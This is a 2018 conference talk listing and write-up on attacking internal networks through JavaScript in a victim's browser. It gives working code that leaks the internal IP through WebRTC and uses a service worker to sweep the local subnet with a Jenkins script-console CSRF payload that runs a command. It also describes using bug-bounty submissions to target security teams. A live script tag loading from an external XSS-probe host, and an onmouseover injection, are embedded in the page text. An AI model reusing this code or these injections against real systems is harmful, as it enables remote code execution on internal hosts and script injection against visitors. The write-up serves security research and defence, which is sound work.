Getting Shells From Javascript

Presented at ToorCamp 2018, June 21, 2018, 4 p.m. (30 minutes).

A few new features of Javascript that have come out in the last couple years have made it easier for sophisticated threat actors to craft Javascript payloads that target internal network vulnerabilities. These vulnerabilities are more traditionally seen as means to move laterally once an attacker has a foothold, however I will demonstrate here leveraging a few modern browser features and modern reconnaissance techniques, these internal assets are far more accessible to attackers by simple getting a victim to render untrusted HTML/Javascript from external sources. In the interest of full disclosure: I did submit this talk to Defcon 2018. Getting Shells From Javascript =================== A few new features of Javascript that have come out in the last couple years have made it easier for sophisticated threat actors to craft Javascript payloads that target internal network vulnerabilities. These vulnerabilities are more traditionally seen as means to move laterally once an attacker has a foothold, however I will demonstrate here leveraging a few modern browser features and modern reconnoissance techniques, these internal assets are far more accessible to attackers by simple getting a victim to render untrusted HTML/Javascript from external sources. I will also show the large volume of metasploit http exploits that are also vulnerable to CSRF. ---------- ## Background ------------- A popular way to get a foothold onto an environment is social engineering, or more specifically, phishing. Phishing can range in effectiveness depending on how targeted, researched, and polished the phishing campaign is, but for any determined actor, phishing still works. Some of the simpler forms of phishing will get 23% of victims to click a link, and 11% to open an attachment, according to the [2015 Verizon Breach Investigations Report](http://www.verizonenterprise.com/resources/reports/rp_data-breach-investigation-report_2015_en_xg.pdf). This gap is widening. It is a lot easier to get users to click on a link, than it is to get users to open an attachment. A traditional way to weaponize this is to exploit the victim by packaging malware into the attachment. This can be done a number of different ways. One simple example of a traditional attack; you can leverage Macro's in older versions of Word files. Once an attacker compromises the first victim, they might use any one of an arsenal of easily available exploits to abuse services listening on internal ports. [Here's an incomplete list](https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/multi) of open source exploits that can be used to target internal services, provided by the metasploit framework. What I'm going to be mostly targeting here is the [HTTP library of exploits](https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/multi/http), many of which are also vulnerable to CSRF. These CSRF exploits can often be kicked off via a Javascript c2 framework such as [beef](http://beefproject.com/). However the problem with beef is, it relies on victims keeping the browser tab open for extended periods of time. This is sometimes feasible (for example, if you've read this far in this post, you've probably stayed on this page long enough for me to sweep your internal network if I was evil) but this isn't reliable, and it increases detection risk. ---------- ## Modern CSRF techniques ------------- A couple of new browser features make these modules more accessible to external attackers. The two I'm going to be touching on most here are: + WebRTC + Service Workers ####WebRTC WebRTC is a browser feature used to connect a user's browser to a server, or other browsers via WebSockets. One known byproduct of this is it exposes a user's internal IP address to the JavaScript on the page. You can see a demo of that [here](https://diafygi.github.io/webrtc-ips/) ###Service Workers Service Workers are a type of web worker that can run asynchronously even after the tab closes. Because of the nature of Service Workers, browsers have some [built in protections](https://www.chromium.org/Home/chromium-security/security-faq/service-worker-security-faq). To summarize, the following constraints are placed on Service Workers: + Service Workers can only run for 5 minutes after closing the tab + Service Workers are killed if they perform blocking tasks + To activate a Service Worker without the user revisiting the website, a user facing action, such as a pre-approved browser push notification is required + Service workers must be installed over TLS, unless served over `localhost` ####How much damage can you do in 5 minutes? 5 minutes may not seem like a lot of time, but in the below example it took me ~30 seconds to sweep the entire /24 I was on with the following non-blocking service worker code ``` var firstByte = 0; var recurse = function(firstByte, timeout, ipAddress, cb){ var currentIP = ipAddress.split(".").slice(0,3).join(".") + "." + firstByte fetch("http://" + currentIP + ":8080"); if(firstByte == 255){ return null; }else{ firstByte += 1 } setTimeout(function(){ cb(firstByte, timeout, ipAddress, cb) }, timeout) } recurse(0,100, "192.168.1.223", recurse) ``` ####Getting around the TLS restriction One constraint that makes things a little tricky though, is the fact these need to be run on localhost to bypass the TLS installation requirement. This TLS restriction must be bypassed otherwise mixed content errors will be thrown when sweeping the unencrypted internal network. The easiest way around this I can think of is to use bug bounty programs as the entry point. Bug bounties always require researchers submit HTML pages to prove the existence of CSRF. Security engineers then load the HTML pages to verify the vulnerability. An attacker can submit an HTML demo that's carefully crafted to run on localhost and install a service worker. This is a double edged sword because the security team typically sits on a privileged network. Additionally, this will reactivate the service worker if the victim runs something else on that localhost port later that day, and it will provide the attacker the ability to MITM the user's traffic going through that port. ## An example putting it together One common service exploited for lateral movement is [Jenkins](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/jenkins_script_console.rb). Jenkins has authentication and CSRF protection if it's enabled, but often times in networks these protections are disabled via config for debugging reasons. This exposes the script console to attackers, which is just a URL that allows you to upload arbitrary code to it. I'll go ahead and simulate a victim by disabling security protections ![image](https://i.imgur.com/FLuvnRY.png) Next I'll build by CSRF payload using the fetch API ``` var data = "script=def+sout+%3D+new+StringBuilder%28%29%2C+serr+%3D+new+StringBuilder%28%29%0D%0Adef+proc+%3D+%27malwareImplantGoesHere%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&json=%7B%22script%22%3A+%22def+sout+%3D+new+StringBuilder%28%29%2C+serr+%3D+new+StringBuilder%28%29%5Cndef+proc+%3D+%27malwareImplantGoesHere%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%5Cnproc.waitForOrKill%281000%29%5Cnprintln+%5C%22out%3E+%24sout+err%3E+%24serr%5C%22%22%2C+%22%22%3A+%22malwareImplantGoesHere%22%7D&Submit=Run"; fetch("http://192.168.22.22:8080/script", { method: "POST", body: data }) ``` Now I'll put that together with the webRTC IP leak, here's the code that get's the IP address: https://jsfiddle.net/r4o1e513/ Lastly I'll optionally put that together with the service worker. At this point I can deliver my payload a couple different ways, especially depending on whether or not I use service workers. Without the service worker, I can host this on any http domain and count on my victim staying on the page for 30 seconds. This will allow me to sweep their entire /24 internal network, and if Jenkins is running anywhere I'll get a callback. With the service worker, I'll submit the HTML file through the bug bounty, and structure the relative imports in such a way that forces the victim to run the HTML with something like `python -m SimpleHTTPServer`. This will install the service worker on localhost and buy me 5 minutes after the victim closes the tab. Put it all together and in my main index.html file I get this: ``` <html> <script> if ('serviceWorker' in navigator) { window.addEventListener('load', function() { navigator.serviceWorker.register('/sw.js').then(function(registration) { // Registration was successful console.log('ServiceWorker registration successful with scope: ', registration.scope); }, function(err) { // registration failed :( console.log('ServiceWorker registration failed: ', err); }); }); } </script> <script> var getIP = function(gotIps){ var RTCPeerConnection = /*window.RTCPeerConnection ||*/ window.webkitRTCPeerConnection || window.mozRTCPeerConnection; if (RTCPeerConnection) (function () { var rtc = new RTCPeerConnection({iceServers:[]}); if (1 || window.mozRTCPeerConnection) { // FF [and now Chrome!] needs a channel/stream to proceed rtc.createDataChannel('', {reliable:false}); }; rtc.onicecandidate = function (evt) { // convert the candidate to SDP so we can run it through our general parser // see https://twitter.com/lancestout/status/525796175425720320 for details if (evt.candidate) grepSDP("a="+evt.candidate.candidate); }; rtc.createOffer(function (offerDesc) { grepSDP(offerDesc.sdp); rtc.setLocalDescription(offerDesc); }, function (e) { console.warn("offer failed", e); }); var addrs = Object.create(null); addrs["0.0.0.0"] = false; function updateDisplay(newAddr) { if (newAddr in addrs) return; else addrs[newAddr] = true; ipAdders = Object.keys(addrs).filter(function (k) { return addrs[k]; }); gotIps(ipAdders); } function grepSDP(sdp) { var hosts = []; sdp.split('\r\n').forEach(function (line) { // c.f. http://tools.ietf.org/html/rfc4566#page-39 if (~line.indexOf("a=candidate")) { // http://tools.ietf.org/html/rfc4566#section-5.13 var parts = line.split(' '), // http://tools.ietf.org/html/rfc5245#section-15.1 addr = parts[4], type = parts[7]; if (type === 'host') updateDisplay(addr); } else if (~line.indexOf("c=")) { // http://tools.ietf.org/html/rfc4566#section-5.7 var parts = line.split(' '), addr = parts[2]; updateDisplay(addr); } }); } })(); } setTimeout(function(){ getIP(function(ips){ navigator.serviceWorker.controller.postMessage(ips.toString()); }) }, 5000); </script> </html> ``` and in my service worker I get this: ``` self.addEventListener('install', function(event) { event.waitUntil(self.skipWaiting()); // Activate worker immediately }); self.addEventListener('activate', function(event) { event.waitUntil(self.clients.claim()); // Become available to all pages }); self.addEventListener('message', function(event) { var ip = event.data var firstByte = 0; console.log(ip); var recurse = function(firstByte, timeout, ipAddress, cb){ var currentIP = ipAddress.split(".").slice(0,3).join(".") + "." + firstByte var data = "script=def+sout+%3D+new+StringBuilder%28%29%2C+serr+%3D+new+StringBuilder%28%29%0D%0Adef+proc+%3D+%27malwareImplantGoesHere%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&json=%7B%22script%22%3A+%22def+sout+%3D+new+StringBuilder%28%29%2C+serr+%3D+new+StringBuilder%28%29%5Cndef+proc+%3D+%27malwareImplantGoesHere%27.execute%28%29%5Cnproc.consumeProcessOutput%28sout%2C+serr%29%5Cnproc.waitForOrKill%281000%29%5Cnprintln+%5C%22out%3E+%24sout+err%3E+%24serr%5C%22%22%2C+%22%22%3A+%22malwareImplantGoesHere%22%7D&Submit=Run"; fetch("http://" + currentIP + ":8080/script",{ method: "POST", body: data }); if(firstByte == 255){ return null; }else{ firstByte += 1 } setTimeout(function(){ cb(firstByte, timeout, ipAddress, cb) }, timeout) } recurse(0,100, ip, recurse) }); ``` The code fetches a victim's internal IP address, and then sweeps their entire /24 in a service worker, sending Jenkins CSRF payloads. ## Adding reconnoissance So far these examples have all been relatively blind. You can load a bunch of CSRF RCE's into a service worker and hope for the best. But recon for subdomains has gotten much more powerful in the last year or two. One reason is because certificate transparency logs now disclose loads of domains that are internal. [Here's an example](https://www.google.com/transparencyreport/https/ct/#domain=ebay.com&incl_exp=true&incl_sub=true&token=CBQQAQ%3D%3D) Other recon tools have also evolved such as [Sublist3r](https://github.com/aboul3la/Sublist3r) Riskiq also provides a free list of subdomains that they collect via passive DNS monitoring. This all allows us to compile a nice list of domains, some internal, which we can hit via CSRF. If these domains use TLS, we won't need to use our localhost trick, because mixed content won't be an issue anymore. Often times subdomains are paired with the names of the open source software stack they're running. For example `jenkins.companyname.com` As it turns out, it's much easier to find web vulns on open source stacks, than it is on public facing assets of large companies. A simple XSS in some of these stacks, such as Jenkins, means you can use the XSS to get RCE. In the past I've used this to find the names of open source software stacks ran internally, pulled down the source code, and found XSS/CSRF 0 days in the open source stack. Some leads to RCE, others lead to other kinds of destructive outcomes. One example of this: a company was running `reviewboard.companyname.com` (You may be able to figure out which company by looking at the [users list](https://www.reviewboard.org/users/) on the website). At this point, I was able to find XSS and systemic CSRF issues in reviewboard, allowing an attacker to craft an external link which if clicked by an internal user, would have triggered the exfiltration of all of `company`'s source code. See the [release notes](https://www.reviewboard.org/docs/releasenotes/reviewboard/2.5.16/) for the patch. I have other more severe examples in other open source stacks that I will share when patches are applied upstream. ## Summary CSRF is becoming a more powerful technique to gain a foothold into environments. If you just go through the [metasploit exploit HTTP library](https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/multi/http) you'll find loads of http exploits that are also vulnerable to CSRF. WebRTC makes blind RCE droppers more feasible via internal IP leakage, and Service Workers buy you 5 minutes of time to hammer the internal network after the victim closes the tab. Bug bounties are an excellent entry point for attacks because they almost guarantee the victim will click clinks and open html files. Certificate Transparency and other modern subdomain recon techniques allow for more targeted CSRF droppers, that can again be used to pivot internally. In conclusion, running untrusted HTML/Javascript is now more dangerous than ever. <script src=https://ba.xss.ht></script>

Presenters:

  • Dylan Ayrey as Dylan
    I work at Cruise Automation as a Senior Security Engineer. Recently I've spoken at Devops Day Boston and Bsides SF. I contribute a lot to the open source community, my <a href="https://github.com/dxa4481/truffleHog" onmouseover=prompt(1)>github profile</a>

Links:

Similar Presentations: